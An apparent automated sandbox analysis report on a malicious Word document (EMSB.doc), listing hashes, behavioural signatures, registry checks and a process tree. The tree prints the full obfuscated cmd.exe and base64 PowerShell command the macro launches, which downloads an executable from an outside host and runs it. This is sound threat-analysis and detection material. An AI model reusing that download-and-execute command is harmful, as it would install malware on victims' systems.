Analysis
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max time kernel
142s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
20-05-2024 17:45
Behavioral task
behavioral1
Sample
EMSB.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
EMSB.doc
Resource
win10v2004-20240508-en
General
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Target
EMSB.doc
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Size
114KB
-
MD5
754dc2d09d30c6e9d51a08feb7396dcc
-
SHA1
f17f2e77515157a1f07338571ffc55db8a2d1573
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SHA256
1df932207319ad8505a88a915c3bbf5eb11fd12dba6d921cd107ef497da25692
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SHA512
a69edd08a95888287841461ee19508b5e03063052240911f1ebd4cb74f23bb3e40b6f980edce5e1d476498c4cfcc61b091f6173b20785aec916b54e59c6ec8fd
-
SSDEEP
1536:/9F+u6qHEmcutqTRE23B9bEfAl/eDW3+jYrqCEtvaaeeAbgy1oZUeB6:/+u6Ict73PbE4xrLKngUUeU
Malware Config
Extracted
http://kotobelamx.com/DAB/nerimf.php?l=willow2.pas
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2256 2060 cmd.exe WINWORD.EXE -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 2256 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2060 WINWORD.EXE 2060 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4468 powershell.exe 4468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4468 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 2060 WINWORD.EXE 2060 WINWORD.EXE 2060 WINWORD.EXE 2060 WINWORD.EXE 2060 WINWORD.EXE 2060 WINWORD.EXE 2060 WINWORD.EXE 2060 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 2060 wrote to memory of 2256 2060 WINWORD.EXE cmd.exe PID 2060 wrote to memory of 2256 2060 WINWORD.EXE cmd.exe PID 2256 wrote to memory of 4468 2256 cmd.exe powershell.exe PID 2256 wrote to memory of 4468 2256 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EMSB.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c p^O^w^e^R^s^H^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^r^A^G^8^A^d^A^B^v^A^G^I^A^Z^Q^B^s^A^G^E^A^b^Q^B^4^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^E^A^E^E^A^Q^g^A^v^A^G^4^A^Z^Q^B^y^A^G^k^A^b^Q^B^m^A^C^4^A^c^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^d^w^B^p^A^G^w^A^b^A^B^v^A^H^c^A^M^g^A^u^A^H^A^A^Y^Q^B^z^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^x^A^D^I^A^M^Q^A^0^A^D^M^A^M^Q^A^z^A^D^Q^A^M^w^A^2^A^D^I^A^M^A^A^3^A^D^Q^A^M^Q^A^u^A^G^U^A^e^A^B^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^E^A^M^g^A^x^A^D^Q^A^M^w^A^x^A^D^M^A^N^A^A^z^A^D^Y^A^M^g^A^w^A^D^c^A^N^A^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A^D^s^A2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOweRsHeLL.exe -EC KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBrAG8AdABvAGIAZQBsAGEAbQB4AC4AYwBvAG0ALwBEAEEAQgAvAG4AZQByAGkAbQBmAC4AcABoAHAAPwBsAD0AdwBpAGwAbABvAHcAMgAuAHAAYQBzACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAxADIAMQA0ADMAMQAzADQAMwA2ADIAMAA3ADQAMQAuAGUAeABlAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcADEAMgAxADQAMwAxADMANAAzADYAMgAwADcANAAxAC4AZQB4AGUALgBlAHgAZQAnADsAIABFAHgAaQB0ADsA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82